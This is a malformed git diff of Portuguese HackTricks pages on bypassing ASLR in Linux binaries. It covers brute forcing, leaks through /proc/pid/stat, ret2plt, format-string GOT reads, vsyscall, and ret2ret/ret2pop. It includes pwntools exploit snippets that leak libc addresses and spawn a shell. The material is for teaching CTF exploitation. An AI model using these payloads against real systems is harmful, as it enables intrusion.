```tsconfig
|
||||||
|
@ -56,39 +56,39 @@ kernel.randomize_va_space=2 # Enable ASLR
|
||||||
# or
|
# or
|
||||||
kernel.randomize_va_space=0 # Disable ASLR
|
kernel.randomize_va_space=0 # Disable ASLR
|
||||||
```
|
```
|
||||||
Depois de editar `/etc/sysctl.conf`, aplique as alterações com:
|
Após editar `/etc/sysctl.conf`, aplique as alterações com:
|
||||||
```bash
|
```bash
|
||||||
sudo sysctl -p
|
sudo sysctl -p
|
||||||
```
|
```
|
||||||
Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.
|
Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações.
|
||||||
|
|
||||||
## **Bypasses**
|
## **Bypasses**
|
||||||
|
|
||||||
### Forçando por tentativa e erro em sistemas de 32 bits
|
### Força bruta de 32 bits
|
||||||
|
|
||||||
O PaX divide o espaço de endereçamento do processo em **3 grupos**:
|
PaX divide o espaço de endereçamento do processo em **3 grupos**:
|
||||||
|
|
||||||
* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Essa variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.
|
* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
|
||||||
* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamado `delta_mmap`.
|
* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`.
|
||||||
* **A pilha** —> **24 bits**, referido como `delta_stack`. No entanto, ele efetivamente usa **11 bits** (do 10º ao 20º byte inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 possíveis endereços reais de pilha**.
|
* **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**.
|
||||||
|
|
||||||
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.
|
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.
|
||||||
|
|
||||||
#### Ideias de força bruta:
|
#### Ideias de força bruta:
|
||||||
|
|
||||||
* Se você tiver um estouro grande o suficiente para hospedar um **grande trenó NOP antes do shellcode**, você poderia apenas forçar endereços na pilha até que o fluxo **salte sobre alguma parte do trenó NOP**.
|
* Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**.
|
||||||
* Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível **adicionar o trenó NOP e o shellcode em uma variável de ambiente**.
|
* Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**.
|
||||||
* Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
|
* Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
|
||||||
```python
|
```python
|
||||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||||
```
|
```
|
||||||
* Se estiver atacando um servidor remoto, você pode tentar **forçar a endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.
|
* Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
|
Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Forçando a pilha de 64 bits
|
### Força bruta na pilha de 64 bits
|
||||||
|
|
||||||
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\
|
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\
|
||||||
O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
|
O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
|
||||||
|
@ -157,28 +157,28 @@ pass
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Informação Local (`/proc/[pid]/stat`)
|
### Informações Locais (`/proc/[pid]/stat`)
|
||||||
|
|
||||||
O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e ele **contém informações interessantes** como:
|
O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como:
|
||||||
|
|
||||||
- **startcode** e **endcode**: Endereços acima e abaixo com o **TEXTO** do binário
|
* **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário
|
||||||
- **startstack**: O endereço do início da **pilha**
|
* **startstack**: O endereço do início da **stack**
|
||||||
- **start\_data** e **end\_data**: Endereços acima e abaixo onde está o **BSS**
|
* **start\_data** & **end\_data**: Endereços acima e abaixo onde está o **BSS**
|
||||||
- **kstkesp** e **kstkeip**: Endereços atuais de **ESP** e **EIP**
|
* **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
|
||||||
- **arg\_start** e **arg\_end**: Endereços acima e abaixo onde estão os **argumentos da linha de comando**
|
* **arg\_start** & **arg\_end**: Endereços acima e abaixo onde estão os **argumentos do cli**.
|
||||||
- **env\_start** e **env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**
|
* **env\_start** &**env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**.
|
||||||
|
|
||||||
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro a partir de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**.
|
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Para mais informações sobre este arquivo, acesse [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
|
Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Tendo um vazamento
|
### Tendo um leak
|
||||||
|
|
||||||
- **O desafio é fornecer um vazamento**
|
* **O desafio é fornecer um leak**
|
||||||
|
|
||||||
Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (verifique essa página para mais detalhes):
|
Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes):
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -205,15 +205,15 @@ p.interactive()
|
||||||
```
|
```
|
||||||
* **ret2plt**
|
* **ret2plt**
|
||||||
|
|
||||||
Aproveitando um estouro de buffer, seria possível explorar um **ret2plt** para extrair o endereço de uma função da libc. Verifique:
|
Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique:
|
||||||
|
|
||||||
{% content-ref url="ret2plt.md" %}
|
{% content-ref url="ret2plt.md" %}
|
||||||
[ret2plt.md](ret2plt.md)
|
[ret2plt.md](ret2plt.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Leitura Arbitrária de Strings de Formato**
|
* **Format Strings Arbitrary Read**
|
||||||
|
|
||||||
Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível extrair o endereço de uma **função libc** do GOT. O seguinte [**exemplo está aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||||
```python
|
```python
|
||||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||||
payload += b'|'
|
payload += b'|'
|
||||||
|
@ -224,7 +224,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
||||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||||
payload += p32(elf.symbols['main'])
|
payload += p32(elf.symbols['main'])
|
||||||
```
|
```
|
||||||
Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:
|
Você pode encontrar mais informações sobre leitura arbitrária de Strings de Formato em:
|
||||||
|
|
||||||
{% content-ref url="../../format-strings/" %}
|
{% content-ref url="../../format-strings/" %}
|
||||||
[format-strings](../../format-strings/)
|
[format-strings](../../format-strings/)
|
||||||
|
@ -240,12 +240,12 @@ Tente contornar o ASLR abusando de endereços dentro da pilha:
|
||||||
|
|
||||||
### vsyscall
|
### vsyscall
|
||||||
|
|
||||||
O mecanismo **`vsyscall`** serve para melhorar o desempenho, permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamental do kernel. A principal vantagem das **vsyscalls** está em seus **endereços fixos**, que não estão sujeitos à **ASLR** (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração.\
|
O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\
|
||||||
No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)
|
No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)
|
||||||
|
|
||||||
(O exemplo e código a seguir são [**deste artigo**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||||
|
|
||||||
Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma `syscall` fornecida pela seção **vsyscall** pode ser bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que direcione a execução para este endereço **vsyscall**, um atacante pode obter a execução de código sem precisar contornar o **ASLR** para esta parte da exploração.
|
Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir a execução de código sem precisar contornar o **ASLR** para esta parte do exploit.
|
||||||
```
|
```
|
||||||
ef➤ vmmap
|
ef➤ vmmap
|
||||||
Start End Offset Perm Path
|
Start End Offset Perm Path
|
||||||
|
@ -293,3 +293,18 @@ Note que pode ser possível **burlar o ASLR abusando do vdso** se o kernel for c
|
||||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,10 +1,25 @@
|
||||||
# Ret2plt
|
# Ret2plt
|
||||||
|
|
||||||
## Informações Básicas
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para poder contornar o ASLR. Isso ocorre porque, por exemplo, se você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**.
|
<details>
|
||||||
|
|
||||||
Isso pode ser feito com um payload `pwntools` como ([**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Basic Information
|
||||||
|
|
||||||
|
O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**.
|
||||||
|
|
||||||
|
Isso pode ser feito com um payload `pwntools` como ([**a partir daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||||
```python
|
```python
|
||||||
# 32-bit ret2plt
|
# 32-bit ret2plt
|
||||||
payload = flat(
|
payload = flat(
|
||||||
|
@ -23,15 +38,15 @@ elf.plt['puts'],
|
||||||
elf.symbols['main']
|
elf.symbols['main']
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
Observe como o **`puts`** (usando o endereço do PLT) é chamado com o endereço do `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, no momento em que o `puts` imprime a entrada da GOT do `puts`, esta **entrada conterá o endereço exato do `puts` na memória**.
|
Note como **`puts`** (usando o endereço do PLT) é chamado com o endereço de `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando `puts` imprime a entrada da GOT de puts, esta **entrada conterá o endereço exato de `puts` na memória**.
|
||||||
|
|
||||||
Também observe como o endereço do `main` é usado no exploit, para que quando o `puts` encerre sua execução, o **binário chame `main` novamente em vez de sair** (para que o endereço vazado continue válido).
|
Também note como o endereço de `main` é usado no exploit, então quando `puts` termina sua execução, o **binário chama `main` novamente em vez de sair** (assim o endereço vazado continuará a ser válido).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Observe que, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um vazamento para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisará contornar o PIE primeiro.
|
Note como, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um leak para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Você pode encontrar um [**exemplo completo desse contorno aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final desse **exemplo**:
|
Você pode encontrar um [**exemplo completo desse bypass aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final daquele **exemplo**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -70,6 +85,21 @@ p.interactive()
|
||||||
## Outros exemplos e Referências
|
## Outros exemplos e Referências
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||||
* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro de buffer até o byte 0x00 do canário e então chamar puts para vazá-lo. Com o canário, um ROP gadget é criado para chamar puts e vazar o endereço de puts da GOT e um ROP gadget para chamar `system('/bin/sh')`.
|
* 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e então um gadget ROP para chamar `system('/bin/sh')`
|
||||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||||
* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. ROP gadget para chamar puts e vazar o endereço de puts da GOT e então chamar um one gadget.
|
* 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Ret2ret & Ret2pop
|
# Ret2ret & Reo2pop
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,41 +19,41 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
O principal **objetivo** desta técnica é tentar **burlar o ASLR abusando de um ponteiro existente na pilha**.
|
O principal **objetivo** desta técnica é tentar **burlar o ASLR abusando de um ponteiro existente na pilha**.
|
||||||
|
|
||||||
Basicamente, estouros de pilha são geralmente causados por strings, e **as strings terminam com um byte nulo no final** na memória. Isso permite tentar reduzir o local apontado por um ponteiro existente na pilha. Assim, se a pilha contiver `0xbfffffdd`, esse estouro poderia transformá-lo em `0xbfffff00` (observe o último byte zerado).
|
Basicamente, estouros de pilha são geralmente causados por strings, e **strings terminam com um byte nulo no final** na memória. Isso permite tentar reduzir o local apontado por um ponteiro existente já na pilha. Então, se a pilha contivesse `0xbfffffdd`, esse estouro poderia transformá-lo em `0xbfffff00` (note o último byte zerado).
|
||||||
|
|
||||||
Se esse endereço apontar para nosso shellcode na pilha, é possível fazer o fluxo alcançar esse endereço adicionando endereços à instrução `ret` até que ele seja alcançado.
|
Se esse endereço apontar para nosso shellcode na pilha, é possível fazer o fluxo alcançar esse endereço **adicionando endereços à instrução `ret`** até que esta seja alcançada.
|
||||||
|
|
||||||
Portanto, o ataque seria assim:
|
Portanto, o ataque seria assim:
|
||||||
|
|
||||||
* Trilha de NOP
|
* NOP sled
|
||||||
* Shellcode
|
* Shellcode
|
||||||
* Sobrescrever a pilha do EIP com **endereços para `ret`** (trilha de RET)
|
* Sobrescrever a pilha a partir do EIP com **endereços para `ret`** (RET sled)
|
||||||
* 0x00 adicionado pela string modificando um endereço da pilha fazendo-o apontar para a trilha de NOP
|
* 0x00 adicionado pela string modificando um endereço da pilha fazendo-o apontar para o NOP sled
|
||||||
|
|
||||||
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) você pode ver um exemplo de um binário vulnerável e [**neste**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) o exploit.
|
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) o exploit.
|
||||||
|
|
||||||
## Ret2pop
|
## Ret2pop
|
||||||
|
|
||||||
Caso você encontre um **ponteiro perfeito na pilha que não deseja modificar** (no `ret2ret` alteramos o último byte para `0x00`), você pode realizar o mesmo ataque `ret2ret`, mas o **comprimento da trilha de RET deve ser encurtado em 1** (para que o `0x00` final sobrescreva os dados imediatamente antes do ponteiro perfeito), e o **último** endereço da trilha de RET deve apontar para **`pop <reg>; ret`**.\
|
Caso você consiga encontrar um **ponteiro perfeito na pilha que não deseja modificar** (no `ret2ret` mudamos o byte final mais baixo para `0x00`), você pode realizar o mesmo ataque `ret2ret`, mas o **comprimento do RET sled deve ser encurtado em 1** (para que o final `0x00` sobrescreva os dados logo antes do ponteiro perfeito), e o **último** endereço do RET sled deve apontar para **`pop <reg>; ret`**.\
|
||||||
Dessa forma, os **dados antes do ponteiro perfeito serão removidos** da pilha (esses são os dados afetados pelo `0x00`) e o **último `ret` apontará para o endereço perfeito** na pilha sem nenhuma alteração.
|
Dessa forma, os **dados antes do ponteiro perfeito serão removidos** da pilha (esses são os dados afetados pelo `0x00`) e o **último `ret` apontará para o endereço perfeito** na pilha sem nenhuma alteração.
|
||||||
|
|
||||||
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit.
|
Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||||
|
|
